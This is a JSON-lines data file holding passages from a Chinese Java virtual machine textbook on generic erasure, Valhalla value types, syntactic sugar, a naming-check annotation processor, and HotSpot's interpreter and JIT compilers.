    {"text": "从上面的例子中可以看到擦除法对实际编码带来的不良影响，由于List<String>和List<Integer>擦除后是同一个类型，我们只能添加两个并不需要实际使用到的返回值才能完成重载，这是一种毫无优雅和美感可言的解决方案，并且存在一定语意上的混乱，譬如上面脚注中提到的，必须用JDK 6的Javac才能编译成功，其他版本或者是ECJ编译器都有可能拒绝编译。 另外，从Signature属性的出现我们还可以得出结论，擦除法所谓的擦除，仅仅是对方法的Code属性中的字节码进行擦除，实际上元数据中还是保留了泛型信息，这也是我们在编码时能通过反射手段取得参数化类型的根本依据。"},
    {"text": "4.值类型与未来的泛型 在2014年，刚好是Java泛型出现的十年之后，Oracle建立了一个名为Valhalla的语言改进项目 [10] ，希望改进Java语言留下的各种缺陷（解决泛型的缺陷就是项目主要目标其中之一）。"},
    {"text": "原本这个项目是计划在JDK 10中完成的，但在笔者撰写本节时（2019年8月，下个月JDK 13正式版都要发布了）也只有少部分目标（譬如VarHandle）顺利实现并发布出去。"},
    {"text": "它现在的技术预览版LW2（L-World 2） [11] 是基于未完成的JDK 14 EarlyAccess来运行的，所以本节内容很可能在将来会发生变动，请读者阅读时多加注意。"},
    {"text": "在Valhalla项目中规划了几种不同的新泛型实现方案，被称为Model 1到Model 3，在这些新的泛型设计中，泛型类型有可能被具现化，也有可能继续维持类型擦除以保持兼容（取决于采用哪种实现方案），即使是继续采用类型擦除的方案，泛型的参数化类型也可以选择不被完全地擦除掉，而是相对完整地记录在Class文件中，能够在运行期被使用，也可以指定编译器默认要擦除哪些类型。"},
    {"text": "说起值类型，这点也是C#用户攻讦Java语言的常用武器之一，C#并没有Java意义上的原生数据类型，在C#中使用的int、bool、double关键字其实是对应了一系列在.NET框架中预定义好的结构体（Struct），如Int32、Boolean、Double等。 在C#中开发人员也可以定义自己值类型，只要继承于ValueType类型即可，而ValueType也是统一基类Object的子类，所以并不会遇到Java那样int不自动装箱就无法转型为Object的尴尬。"},
    {"text": "值类型可以与引用类型一样，具有构造函数、方法或是属性字段，等等，而它与引用类型的区别在于它在赋值的时候通常是整体复制，而不是像引用类型那样传递引用的。"},
    {"text": "更为关键的是，值类型的实例很容易实现分配在方法的调用栈上的，这意味着值类型会随着当前方法的退出而自动释放，不会给垃圾收集子系统带来任何压力。"},
    {"text": "在Valhalla项目中，Java的值类型方案被称为“内联类型”，计划通过一个新的关键字inline来定义，字节码层面也有专门与原生类型对应的以Q开头的新的操作码（譬如iload对应qload）来支撑。"},
    {"text": "即时编译器场景中是使用逃逸分析优化（见第11章）来处理内联类型的，通过编码时标注以及内联类实例所具备的不可变性，可以很好地解决逃逸分析面对传统引用类型时难以判断（没有足够的信息，或者没有足够的时间做全程序分析）对象是否逃逸的问题。"},
    {"text": "[5] 注意，保证的是二进制向后兼容性（即编译结果的兼容性），不是源码兼容性，也不保证（甚至是不允许）高版本JDK的编译结果能前向兼容地运行在低版本Java虚拟机之上。"},
    {"text": "[7] 笔者在测试时使用了JDK 6的Javac编译器进行编译，前面提到前端编译器的实现在《Java虚拟机规范》中的定义并不够具体，所以其他的前端编译器，如Eclipse JDT的ECJ编译器，仍然可能会拒绝编译这段代码，ECJ编译时会提示“Method method(List＜String＞)has the same erasure method(List＜E＞)as another method in type GenericTypes”。"},
    {"text": "[8] 在《Java虚拟机规范（第2版）》（JDK 5修改后的版本）的4.4.4节及《Java语言规范（第3版）》的8.4.2节中都分别定义了字节码层面的方法特征签名，以及Java代码层面的方法特征签名，特征签名最重要的任务就是作为方法独一无二不可重复的ID，在Java代码中的方法特征签名只包括了方法名称、参数顺序及参数类型，而在字节码中的特征签名还包括方法返回值及受查异常表，本书中如果指的是字节码层面的方法签名，笔者会加入限定语进行说明，也请读者根据上下文语境注意区分。"},
    {"text": "[10] 项目主页：https://wiki.openjdk.java.net/display/valhalla/Main。 [11] Valhalla的LW2原型：https://wiki.openjdk.java.net/display/valhalla/LW2。"},
    {"text": "10.3.2 自动装箱、拆箱与遍历循环 就纯技术的角度而论，自动装箱、自动拆箱与遍历循环（for-each循环）这些语法糖，无论是实现复杂度上还是其中蕴含的思想上都不能和10.3.1节介绍的泛型相提并论，两者涉及的难度和深度都有很大差距。专门拿出一节来讲解它们只是因为这些是Java语言里面被使用最多的语法糖。我们通过代码清单10-11和代码清单10-12中所示的代码来看看这些语法糖在编译后会发生什么样的变化。 代码清单10-11 自动装箱、拆箱与遍历循环 public static void main(String[] args) { List<Integer> list = Arrays.asList(1, 2, 3, 4); int sum = 0; for (int i : list) { sum += i; } System.out.println(sum); } 代码清单10-12 自动装箱、拆箱与遍历循环编译之后 public static void main(String[] args) { List list = Arrays.asList( new Integer[] { Integer.valueOf(1), Integer.valueOf(2), Integer.valueOf(3), Integer.valueOf(4) }); int sum = 0; for (Iterator localIterator = list.iterator(); localIterator.hasNext(); ) { int i = ((Integer)localIterator.next()).intValue(); sum += i; } System.out.println(sum); } 代码清单10-11中一共包含了泛型、自动装箱、自动拆箱、遍历循环与变长参数5种语法糖，代码清单10-12则展示了它们在编译前后发生的变化。泛型就不必说了，自动装箱、拆箱在编译之后被转化成了对应的包装和还原方法，如本例中的Integer.valueOf()与Integer.intValue()方法，而遍历循环则是把代码还原成了迭代器的实现，这也是为何遍历循环需要被遍历的类实现Iterable接口的原因。最后再看看变长参数，它在调用的时候变成了一个数组类型的参数，在变长参数出现之前，程序员的确也就是使用数组来完成类似功能的。 这些语法糖虽然看起来很简单，但也不见得就没有任何值得我们特别关注的地方，代码清单10-13演示了自动装箱的一些错误用法。 代码清单10-13 自动装箱的陷阱 public static void main(String[] args) { Integer a = 1; Integer b = 2; Integer c = 3; Integer d = 3; Integer e = 321; Integer f = 321; Long g = 3L; System.out.println(c == d); System.out.println(e == f); System.out.println(c == (a + b)); System.out.println(c.equals(a + b)); System.out.println(g == (a + b)); System.out.println(g.equals(a + b)); } 读者阅读完代码清单10-13，不妨思考两个问题：一是这6句打印语句的输出是什么？二是这6句打印语句中，解除语法糖后参数会是什么样子？这两个问题的答案都很容易试验出来，笔者就暂且略去答案，希望不能立刻做出判断的读者自己上机实践一下。无论读者的回答是否正确，鉴于包装类的“==”运算在不遇到算术运算的情况下不会自动拆箱，以及它们equals()方法不处理数据转型的关系，笔者建议在实际编码中尽量避免这样使用自动装箱与拆箱。"},
    {"text": "10.3.3 条件编译 许多程序设计语言都提供了条件编译的途径，如C、C++中使用预处理器指示符（#ifdef）来完成条件编译。C、C++的预处理器最初的任务是解决编译时的代码依赖关系（如极为常用的#include预处理命令），而在Java语言之中并没有使用预处理器，因为Java语言天然的编译方式（编译器并非一个个地编译Java文件，而是将所有编译单元的语法树顶级节点输入到待处理列表后再进行编译，因此各个文件之间能够互相提供符号信息）就无须使用到预处理器。那Java语言是否有办法实现条件编译呢？ Java语言当然也可以进行条件编译，方法就是使用条件为常量的if语句。如代码清单10-14所示，该代码中的if语句不同于其他Java代码，它在编译阶段就会被“运行”，生成的字节码之中只包括“System.out.println(\"block 1\")；”一条语句，并不会包含if语句及另外一个分子中的“System.out.println(\"block 2\")；” 代码清单10-14 Java语言的条件编译 public static void main(String[] args) { if (true) { System.out.println(\"block 1\"); } else { System.out.println(\"block 2\"); } } 该代码编译后Class文件的反编译结果： public static void main(String[] args) { System.out.println(\"block 1\"); } 只能使用条件为常量的if语句才能达到上述效果，如果使用常量与其他带有条件判断能力的语句搭配，则可能在控制流分析中提示错误，被拒绝编译，如代码清单10-15所示的代码就会被编译器拒绝编译。 代码清单10-15 不能使用其他条件语句来完成条件编译 public static void main(String[] args) { // 编译器将会提示“Unreachable code” while (false) { System.out.println(\"\"); } } Java语言中条件编译的实现，也是Java语言的一颗语法糖，根据布尔常量值的真假，编译器将会把分支中不成立的代码块消除掉，这一工作将在编译器解除语法糖阶段（com.sun.tools.javac.comp.Lower类中）完成。由于这种条件编译的实现方式使用了if语句，所以它必须遵循最基本的Java语法，只能写在方法体内部，因此它只能实现语句基本块（Block）级别的条件编译，而没有办法实现根据条件调整整个Java类的结构。 除了本节中介绍的泛型、自动装箱、自动拆箱、遍历循环、变长参数和条件编译之外，Java语言还有不少其他的语法糖，如内部类、枚举类、断言语句、数值字面量、对枚举和字符串的switch支持、try语句中定义和关闭资源（这3个从JDK 7开始支持）、Lambda表达式（从JDK 8开始支持，Lambda不能算是单纯的语法糖，但在前端编译器中做了大量的转换工作），等等，读者可以通过跟踪Javac源码、反编译Class文件等方式了解它们的本质实现，囿于篇幅，笔者就不再一一介绍了。 10.4 实战：插入式注解处理器 Java的编译优化部分在本书中并没有像前面两部分那样设置独立的、整章篇幅的实战，因为我们开发程序，考虑的主要还是程序会如何运行，较少会涉及针对程序编译的特殊需求。也正因如此，在JDK的编译子系统里面，暴露给用户直接控制的功能相对很少，除了第11章会介绍的虚拟机即时编译的若干相关参数以外，我们就只有使用JSR-296中定义的插入式注解处理器API来对Java编译子系统的行为施加影响。 但是笔者丝毫不认为相对于前两部分介绍的内存管理子系统和字节码执行子系统，编译子系统就不那么重要了。一套编程语言中编译子系统的优劣，很大程度上决定了程序运行性能的好坏和编码效率的高低，尤其在Java语言中，运行期即时编译与虚拟机执行子系统非常紧密地互相依赖、配合运作（第11章我们将主要讲解这方面的内容）。了解JDK如何编译和优化代码，有助于我们写出适合Java虚拟机自优化的程序。话题说远了，下面我们回到本章的实战中来，看看插入式注解处理器API能为我们实现什么功能。"},
    {"text": "10.4.1 实战目标 通过阅读Javac编译器的源码，我们知道前端编译器在把Java程序源码编译为字节码的时候，会对Java程序源码做各方面的检查校验。这些校验主要是以程序“写得对不对”为出发点，虽然也会产生一些警告和提示类的信息，但总体来讲还是较少去校验程序“写得好不好”。有鉴于此，业界出现了许多针对程序“写得好不好”的辅助校验工具，如CheckStyle、FindBug、Klocwork等。这些代码校验工具有一些是基于Java的源码进行校验，有一些是通过扫描字节码来完成，在本节的实战中，我们将会使用注解处理器API来编写一款拥有自己编码风格的校验工具：NameCheckProcessor。 当然，由于我们的实战都是为了学习和演示技术原理，而且篇幅所限，不可能做出一款能媲美CheckStyle等工具的产品来，所以NameCheckProcessor的目标也仅定为对Java程序命名进行检查。根据《Java语言规范》中6.8节的要求，Java程序命名推荐（而不是强制）应当符合下列格式的书写规范。 ·类（或接口）：符合驼式命名法，首字母大写。 ·方法：符合驼式命名法，首字母小写。 ·字段： ■类或实例变量。符合驼式命名法，首字母小写。 ■常量。要求全部由大写字母或下划线构成，并且第一个字符不能是下划线。 上文提到的驼式命名法（Camel Case Name），正如它的名称所表示的那样，是指混合使用大小写字母来分割构成变量或函数的名字，犹如驼峰一般，这是当前Java语言中主流的命名规范，我们的实战目标就是为Javac编译器添加一个额外的功能，在编译程序时检查程序名是否符合上述对类（或接口）、方法、字段的命名要求。"},
    {"text": "我们实现注解处理器的代码需要继承抽象类javax.annotation.processing.AbstractProcessor，这个抽象类中只有一个子类必须实现的抽象方法：“process()”，它是Javac编译器在执行注解处理器代码时要调用的过程，我们可以从这个方法的第一个参数“annotations”中获取到此注解处理器所要处理的注解集合，从第二个参数“roundEnv”中访问到当前这个轮次（Round）中的抽象语法树节点，每个语法树节点在这里都表示为一个Element。"},
    {"text": "在javax.lang.model.ElementKind中定义了18类Element，已经包括了Java代码中可能出现的全部元素，如：“包（PACKAGE）、枚举（ENUM）、类（CLASS）、注解（ANNOTATION_TYPE）、接口（INTERFACE）、枚举值（ENUM_CONSTANT）、字段（FIELD）、参数（PARAMETER）、本地变量（LOCAL_VARIABLE）、异常（EXCEPTION_PARAMETER）、方法（METHOD）、构造函数（CONSTRUCTOR）、静态语句块（STATIC_INIT，即static{}块）、实例语句块（INSTANCE_INIT，即{}块）、参数化类型（TYPE_PARAMETER，泛型尖括号内的类型）、资源变量（RESOURCE_VARIABLE，try-resource中定义的变量）、模块（MODULE）和未定义的其他语法树节点（OTHER）”。"},
    {"text": "除了process()方法的传入参数之外，还有一个很重要的实例变量“processingEnv”，它是AbstractProcessor中的一个protected变量，在注解处理器初始化的时候（init()方法执行的时候）创建，继承了AbstractProcessor的注解处理器代码可以直接访问它。"},
    {"text": "注解处理器除了process()方法及其参数之外，还有两个经常配合着使用的注解，分别是：@SupportedAnnotationTypes和@SupportedSourceVersion，前者代表了这个注解处理器对哪些注解感兴趣，可以使用星号“*”作为通配符代表对所有的注解都感兴趣，后者指出这个注解处理器可以处理哪些版本的Java代码。"},
    {"text": "每一个注解处理器在运行时都是单例的，如果不需要改变或添加抽象语法树中的内容，process()方法就可以返回一个值为false的布尔值，通知编译器这个轮次中的代码未发生变化，无须构造新的JavaCompiler实例，在这次实战的注解处理器中只对程序命名进行检查，不需要改变语法树的内容，因此process()方法的返回值一律都是false。"},
    {"text": "我们来看看注解处理器NameCheckProcessor的具体代码，如代码清单10-16所示。 代码清单10-16 注解处理器NameCheckProcessor // 可以用\"*\"表示支持所有Annotations @SupportedAnnotationTypes(\"*\") // 只支持JDK 6的Java代码 @SupportedSourceVersion(SourceVersion.RELEASE_6) public class NameCheckProcessor extends AbstractProcessor { private NameChecker nameChecker; /** * 初始化名称检查插件 */ @Override public void init(ProcessingEnvironment processingEnv) { super.init(processingEnv); nameChecker = new NameChecker(processingEnv); } /** * 对输入的语法树的各个节点进行名称检查 */ @Override public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) { if (!roundEnv.processingOver()) { for (Element element : roundEnv.getRootElements()) nameChecker.checkNames(element); } return false; } } 从代码清单10-16中可以看到NameCheckProcessor能处理基于JDK 6的源码，它不限于特定的注解，对任何代码都“感兴趣”，而在process()方法中是把当前轮次中的每一个RootElement传递到一个名为NameChecker的检查器中执行名称检查逻辑，NameChecker的代码如代码清单10-17所示。 代码清单10-17 命名检查器NameChecker /** * 程序名称规范的编译器插件：<br> * 如果程序命名不合规范，将会输出一个编译器的WARNING信息 */ public class NameChecker { private final Messager messager; NameCheckScanner nameCheckScanner = new NameCheckScanner(); NameChecker(ProcessingEnvironment processsingEnv) { this.messager = processsingEnv.getMessager(); } /** * 对Java程序命名进行检查，根据《Java语言规范》第三版第6.8节的要求，Java程序命名应当符合下列格式： * * <ul> * <li>类或接口：符合驼式命名法，首字母大写。"},
    {"text": "* <li>方法：符合驼式命名法，首字母小写。 * <li>字段： * <ul> * <li>类、实例变量: 符合驼式命名法，首字母小写。 * <li>常量: 要求全部大写。"},
    {"text": "* </ul> * </ul> */ public void checkNames(Element element) { nameCheckScanner.scan(element); } /** * 名称检查器实现类，继承了JDK 6中新提供的ElementScanner6<br> * 将会以Visitor模式访问抽象语法树中的元素 */ private class NameCheckScanner extends ElementScanner6<Void, Void> { /** * 此方法用于检查Java类 */ @Override public Void visitType(TypeElement e, Void p) { scan(e.getTypeParameters(), p); checkCamelCase(e, true); super.visitType(e, p); return null; } /** * 检查方法命名是否合法 */ @Override public Void visitExecutable(ExecutableElement e, Void p) { if (e.getKind() == METHOD) { Name name = e.getSimpleName(); if (name.contentEquals(e.getEnclosingElement().getSimpleName())) messager.printMessage(WARNING, \"一个普通方法 “\" + name + \"”不应当与类名重复，避免与构造函数产生混淆\", e); checkCamelCase(e, false); } super.visitExecutable(e, p); return null; } /** * 检查变量命名是否合法 */ @Override public Void visitVariable(VariableElement e, Void p) { // 如果这个Variable是枚举或常量，则按大写命名检查，否则按照驼式命名法规则检查 if (e.getKind() == ENUM_CONSTANT || e.getConstantValue() != null || heuristicallyConstant(e)) checkAllCaps(e); else checkCamelCase(e, false); return null; } /** * 判断一个变量是否是常量 */ private boolean heuristicallyConstant(VariableElement e) { if (e.getEnclosingElement().getKind() == INTERFACE) return true; else if (e.getKind() == FIELD && e.getModifiers().containsAll(EnumSet.of(PUBLIC, STATIC, FINAL))) return true; else { return false; } } /** * 检查传入的Element是否符合驼式命名法，如果不符合，则输出警告信息 */ private void checkCamelCase(Element e, boolean initialCaps) { String name = e.getSimpleName().toString(); boolean previousUpper = false; boolean conventional = true; int firstCodePoint = name.codePointAt(0); if (Character.isUpperCase(firstCodePoint)) { previousUpper = true; if (!initialCaps) { messager.printMessage(WARNING, \"名称“\" + name + \"”应当以小写字母开头\", e); return; } } else if (Character.isLowerCase(firstCodePoint)) { if (initialCaps) { messager.printMessage(WARNING, \"名称“\" + name + \"”应当以大写字母开头\", e); return; } } else conventional = false; if (conventional) { int cp = firstCodePoint; for (int i = Character.charCount(cp); i < name.length(); i += Character.charCount(cp)) { cp = name.codePointAt(i); if (Character.isUpperCase(cp)) { if (previousUpper) { conventional = false; break; } previousUpper = true; } else previousUpper = false; } } if (!conventional) messager.printMessage(WARNING, \"名称“\" + name + \"”应当符合驼式命名法（Camel Case Names）\", e); } /** * 大写命名检查，要求第一个字母必须是大写的英文字母，其余部分可以是下划线或大写字母 */ private void checkAllCaps(Element e) { String name = e.getSimpleName().toString(); boolean conventional = true; int firstCodePoint = name.codePointAt(0); if (!Character.isUpperCase(firstCodePoint)) conventional = false; else { boolean previousUnderscore = false; int cp = firstCodePoint; for (int i = Character.charCount(cp); i < name.length(); i += Character.charCount(cp)) { cp = name.codePointAt(i); if (cp == (int) '_') { if (previousUnderscore) { conventional = false; break; } previousUnderscore = true; } else { previousUnderscore = false; if (!Character.isUpperCase(cp) && !Character.isDigit(cp)) { conventional = false; break; } } } } if (!conventional) messager.printMessage(WARNING, \"常量“\" + name + \"”应当全部以大写字母或下划线命名，并且以字母开头\", e); } } } NameChecker的代码看起来有点长，但实际上注释占了很大一部分，而且即使算上注释也不到190行。 它通过一个继承于javax.lang.model.util.ElementScanner6 [1] 的NameCheckScanner类，以Visitor模式来完成对语法树的遍历，分别执行visitType()、visitVariable()和visitExecutable()方法来访问类、字段和方法，这3个visit*()方法对各自的命名规则做相应的检查，checkCamelCase()与checkAllCaps()方法则用于实现驼式命名法和全大写命名规则的检查。 整个注解处理器只需NameCheckProcessor和NameChecker两个类就可以全部完成，为了验证我们的实战成果，代码清单10-18中提供了一段命名规范的“反面教材”代码，其中的每一个类、方法及字段的命名都存在问题，但是使用普通的Javac编译这段代码时不会提示任意一条警告信息。 代码清单10-18 包含了多处不规范命名的代码样例 public class BADLY_NAMED_CODE { enum colors { red, blue, green; } static final int _FORTY_TWO = 42; public static int NOT_A_CONSTANT = _FORTY_TWO; protected void BADLY_NAMED_CODE() { return; } public void NOTcamelCASEmethodNAME() { return; } } [1] 相应地，JDK中还有ElementScanner7、8、9等支持其他Java版本的扫描器供读者实验其他版本Java代码时使用。"},
    {"text": "10.4.3 运行与测试 我们可以通过Javac命令的“-processor”参数来执行编译时需要附带的注解处理器，如果有多个注解处理器的话，用逗号分隔。还可以使用-XprintRounds和-XprintProcessorInfo参数来查看注解处理器运作的详细信息，本次实战中的NameCheckProcessor的编译及执行过程如代码清单10-19所示。 代码清单10-19 注解处理器的运行过程 D:\\src>javac org/fenixsoft/compile/NameChecker.java D:\\src>javac org/fenixsoft/compile/NameCheckProcessor.java D:\\src>javac -processor org.fenixsoft.compile.NameCheckProcessor org/fenixsoft/compile/BADLY_NAMED_CODE.java org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:3: 警告：名称“BADLY_NAMED_CODE”应当符合驼式命名法（Camel Case Names） public class BADLY_NAMED_CODE { ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:5: 警告：名称“colors”应当以大写字母开头 enum colors { ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:6: 警告：常量“red”应当全部以大写字母或下划线命名，并且以字母开头 red, blue, green; ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:6: 警告：常量“blue”应当全部以大写字母或下划线命名，并且以字母开头 red, blue, green; ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:6: 警告：常量“green”应当全部以大写字母或下划线命名，并且以字母开头 red, blue, green; ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:9: 警告：常量“_FORTY_TWO”应当全部以大写字母或下划线命名，并且以字母开头 static final int _FORTY_TWO = 42; ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:11: 警告：名称“NOT_A_CONSTANT”应当以小写字母开头 public static int NOT_A_CONSTANT = _FORTY_TWO; ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:13: 警告：名称“Test”应当以小写字母开头 protected void Test() { ^ org\\fenixsoft\\compile\\BADLY_NAMED_CODE.java:17: 警告：名称“NOTcamelCASEmethodNAME”应当以小写字母开头 public void NOTcamelCASEmethodNAME() { ^ 10.4.4 其他应用案例 NameCheckProcessor的实战例子只演示了JSR-269嵌入式注解处理API其中的一部分功能，基于这组API支持的比较有名的项目还有用于校验Hibernate标签使用正确性的Hibernate Validator Annotation Processor [1] （本质上与NameCheckProcessor所做的事情差不多）、自动为字段生成getter和setter方法等辅助内容的Lombok [2] （根据已有元素生成新的语法树元素）等，读者有兴趣的话可以参考它们官方站点的相关内容。 [1] 官方站点：http://www.hibernate.org/subprojects/validator.html。 [2] 官方站点：http://projectlombok.org/。 10.5 本章小结 在本章中，我们从Javac编译器源码实现的层次上学习了Java源代码编译为字节码的过程，分析了Java语言中泛型、主动装箱拆箱、条件编译等多种语法糖的前因后果，并实战练习了如何使用插入式注解处理器来完成一个检查程序命名规范的编译器插件。如本章概述中所说的，在前端编译器中，“优化”手段主要用于提升程序的编码效率，之所以把Javac这类将Java代码转变为字节码的编译器称作“前端编译器”，是因为它只完成了从程序到抽象语法树或中间字节码的生成，而在此之后，还有一组内置于Java虚拟机内部的“后端编译器”来完成代码优化以及从字节码生成本地机器码的过程，即前面多次提到的即时编译器或提前编译器，这个后端编译器的编译速度及编译结果质量高低，是衡量Java虚拟机性能最重要的一个指标。在第11章中，我们将会一探后端编译器的运作和优化过程。 第11章 后端编译与优化 从计算机程序出现的第一天起，对效率的追逐就是程序员天生的坚定信仰，这个过程犹如一场没有终点、永不停歇的F1方程式竞赛，程序员是车手，技术平台则是在赛道上飞驰的赛车。"},
    {"text": "11.1 概述 如果我们把字节码看作是程序语言的一种中间表示形式（Intermediate Representation，IR）的话，那编译器无论在何时、在何种状态下把Class文件转换成与本地基础设施（硬件指令集、操作系统）相关的二进制机器码，它都可以视为整个编译过程的后端。如果读者阅读过本书的第2版，可能会发现本章的标题已经从“运行期编译与优化”悄然改成了“后端编译与优化”，这是因为在2012年的Java世界里，虽然提前编译（Ahead Of Time，AOT）早已有所应用，但相对而言，即时编译（Just In Time，JIT）才是占绝对主流的编译形式。不过，最近几年编译技术发展出现了一些微妙的变化，提前编译不仅逐渐被主流JDK所支持，而且在Java编译技术的前沿研究中又重新成了一个热门的话题，所以再继续只提“运行期”和“即时编译”就显得不够全面了，在本章中它们两者都是主角。 无论是提前编译器抑或即时编译器，都不是Java虚拟机必需的组成部分，《Java虚拟机规范》中从来没有规定过虚拟机内部必须要包含这些编译器，更没有限定或指导这些编译器应该如何去实现。但是，后端编译器编译性能的好坏、代码优化质量的高低却是衡量一款商用虚拟机优秀与否的关键指标之一，它们也是商业Java虚拟机中的核心，是最能体现技术水平与价值的功能。在本章中，我们将走进Java虚拟机的内部，探索后端编译器的运作过程和原理。 既然《Java虚拟机规范》没有具体的约束规则去限制后端编译器应该如何实现，那这部分功能就完全是与虚拟机具体实现相关的内容，如无特殊说明，本章中所提及的即时编译器都是特指HotSpot虚拟机内置的即时编译器，虚拟机也是特指HotSpot虚拟机。不过，本章虽然有大量的内容涉及了特定的虚拟机和编译器的实现层面，但主流Java虚拟机中后端编译器的行为会有很多相似相通之处，因此对其他虚拟机来说也具备一定的类比参考价值。 11.2 即时编译器 目前主流的两款商用Java虚拟机（HotSpot、OpenJ9）里，Java程序最初都是通过解释器（Interpreter）进行解释执行的，当虚拟机发现某个方法或代码块的运行特别频繁，就会把这些代码认定为“热点代码”（Hot Spot Code），为了提高热点代码的执行效率，在运行时，虚拟机将会把这些代码编译成本地机器码，并以各种手段尽可能地进行代码优化，运行时完成这个任务的后端编译器被称为即时编译器。本节我们将会了解HotSpot虚拟机内的即时编译器的运作过程，此外，我们还将解决以下几个问题： ·为何HotSpot虚拟机要使用解释器与即时编译器并存的架构？ ·为何HotSpot虚拟机要实现两个（或三个）不同的即时编译器？ ·程序何时使用解释器执行？何时使用编译器执行？ ·哪些程序代码会被编译为本地代码？如何编译本地代码？ ·如何从外部观察到即时编译器的编译过程和编译结果？"},
    {"text": "11.2.1 解释器与编译器 尽管并不是所有的Java虚拟机都采用解释器与编译器并存的运行架构，但目前主流的商用Java虚拟机，譬如HotSpot、OpenJ9等，内部都同时包含解释器与编译器 [1] ，解释器与编译器两者各有优势：当程序需要迅速启动和执行的时候，解释器可以首先发挥作用，省去编译的时间，立即运行。"},
    {"text": "当程序启动后，随着时间的推移，编译器逐渐发挥作用，把越来越多的代码编译成本地代码，这样可以减少解释器的中间损耗，获得更高的执行效率。 当程序运行环境中内存资源限制较大，可以使用解释执行节约内存（如部分嵌入式系统中和大部分的JavaCard应用中就只有解释器的存在），反之可以使用编译执行来提升效率。 同时，解释器还可以作为编译器激进优化时后备的“逃生门”（如果情况允许，HotSpot虚拟机中也会采用不进行激进优化的客户端编译器充当“逃生门”的角色），让编译器根据概率选择一些不能保证所有情况都正确，但大多数时候都能提升运行速度的优化手段，当激进优化的假设不成立，如加载了新类以后，类型继承结构出现变化、出现“罕见陷阱”（Uncommon Trap）时可以通过逆优化（Deoptimization）退回到解释状态继续执行，因此在整个Java虚拟机执行架构里，解释器与编译器经常是相辅相成地配合工作，其交互关系如图11-1所示。"},
    {"text": "图11-1 解释器与编译器的交互 HotSpot虚拟机中内置了两个（或三个）即时编译器，其中有两个编译器存在已久，分别被称为“客户端编译器”（Client Compiler）和“服务端编译器”（Server Compiler），或者简称为C1编译器和C2编译器（部分资料和JDK源码中C2也叫Opto编译器），第三个是在JDK 10时才出现的、长期目标是代替C2的Graal编译器。"},
    {"text": "在分层编译（Tiered Compilation）的工作模式出现以前，HotSpot虚拟机通常是采用解释器与其中一个编译器直接搭配的方式工作，程序使用哪个编译器，只取决于虚拟机运行的模式，HotSpot虚拟机会根据自身版本与宿主机器的硬件性能自动选择运行模式，用户也可以使用“-client”或“-server”参数去强制指定虚拟机运行在客户端模式还是服务端模式。 无论采用的编译器是客户端编译器还是服务端编译器，解释器与编译器搭配使用的方式在虚拟机中被称为“混合模式”（Mixed Mode），用户也可以使用参数“-Xint”强制虚拟机运行于“解释模式”（Interpreted Mode），这时候编译器完全不介入工作，全部代码都使用解释方式执行。 另外，也可以使用参数“-Xcomp”强制虚拟机运行于“编译模式”（Compiled Mode），这时候将优先采用编译方式执行程序，但是解释器仍然要在编译无法进行的情况下介入执行过程。"},
    {"text": "代码清单11-1 虚拟机执行模式 $java -version java version \"11.0.3\" 2019-04-16 LTS Java(TM) SE Runtime Environment 18.9 (build 11.0.3+12-LTS) Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.3+12-LTS, mixed mode) $java -Xint -version java version \"11.0.3\" 2019-04-16 LTS Java(TM) SE Runtime Environment 18.9 (build 11.0.3+12-LTS) Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.3+12-LTS, interpreted mode) $java -Xcomp -version java version \"11.0.3\" 2019-04-16 LTS Java(TM) SE Runtime Environment 18.9 (build 11.0.3+12-LTS) Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.3+12-LTS, compiled mode) 由于即时编译器编译本地代码需要占用程序运行时间，通常要编译出优化程度越高的代码，所花费的时间便会越长；"},
    {"text": "为了在程序启动响应速度与运行效率之间达到最佳平衡，HotSpot虚拟机在编译子系统中加入了分层编译的功能 [2] ，分层编译的概念其实很早就已经提出，但直到JDK 6时期才被初步实现，后来一直处于改进阶段，最终在JDK 7的服务端模式虚拟机中作为默认编译策略被开启。"},
    {"text": "使用服务端编译器将字节码编译为本地代码，相比起客户端编译器，服务端编译器会启用更多编译耗时更长的优化，还会根据性能监控信息进行一些不可靠的激进优化。"},
    {"text": "实施分层编译后，解释器、客户端编译器和服务端编译器就会同时工作，热点代码都可能会被多次编译，用客户端编译器获取更高的编译速度，用服务端编译器来获取更好的编译质量，在解释执行的时候也无须额外承担收集性能监控信息的任务，而在服务端编译器采用高复杂度的优化算法时，客户端编译器可先采用简单优化来为它争取更多的编译时间。"},
    {"text": "图11-2 分层编译的交互关系 [3] [1] 作为曾经的三大商用虚拟机之一的JRockit是个例外，它内部没有解释器，因此会存在本书中所说的“启动响应时间长”之类的缺点，但它主要是面向服务端的应用，这类应用一般不会重点关注启动时间，而且JRockit目前已经不再发展了。"},
    {"text": "[2] 分层编译在JDK 6时期出现，到JDK 7之前都需要使用-XX：+TieredCompilation参数来手动开启，如果不开启分层编译策略，而虚拟机又运行在服务端模式，服务端编译器需要性能监控信息提供编译依据，则是由解释器收集性能监控信息供服务端编译器使用。 分层编译的相关资料可参见：http://weblogs.java.net/blog/forax/archive/2010/09/04/tiered-compilation。"},
    {"text": "11.2.2 编译对象与触发条件 在本章概述中提到了在运行过程中会被即时编译器编译的目标是“热点代码”，这里所指的热点代码主要有两类，包括： ·被多次调用的方法。"},
    {"text": "前者很好理解，一个方法被调用得多了，方法体内代码执行的次数自然就多，它成为“热点代码”是理所当然的。 而后者则是为了解决当一个方法只被调用过一次或少量的几次，但是方法体内部存在循环次数较多的循环体，这样循环体的代码也被重复执行多次，因此这些代码也应该认为是“热点代码” [1] 。"},
    {"text": "而对于后一种情况，尽管编译动作是由循环体所触发的，热点只是方法的一部分，但编译器依然必须以整个方法作为编译对象，只是执行入口（从方法第几条字节码指令开始执行）会稍有不同，编译时会传入执行入口点字节码序号（Byte Code Index，BCI）。"},
    {"text": "这种编译方式因为编译发生在方法执行的过程中，因此被很形象地称为“栈上替换”（On Stack Replacement，OSR），即方法的栈帧还在栈上，方法就被替换了。"},
